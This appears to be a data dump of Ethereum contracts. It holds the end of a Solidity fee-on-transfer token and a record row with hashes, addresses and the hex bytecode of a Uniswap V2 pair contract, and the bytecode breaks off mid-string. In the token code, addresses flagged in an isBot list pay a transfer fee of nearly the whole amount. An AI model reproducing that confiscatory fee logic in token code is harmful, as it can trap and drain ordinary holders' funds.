if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} |
1 | 20,290,805 | 25eeb207b080415ce2253f7a66bacb8a44273e824865bd3595c4269b6f16ceaf | 8667e47e5be52fb0c9f69f8e2a20899f1eb1cd2fa78acaf23dd80fd4df9e4be5 | 73b9a5c4ff988b174fa7de2aadb7ab3da3a22cec | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 1ec77f677f489f05a803f42c2d7880d221336f2d | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a00000000000000000000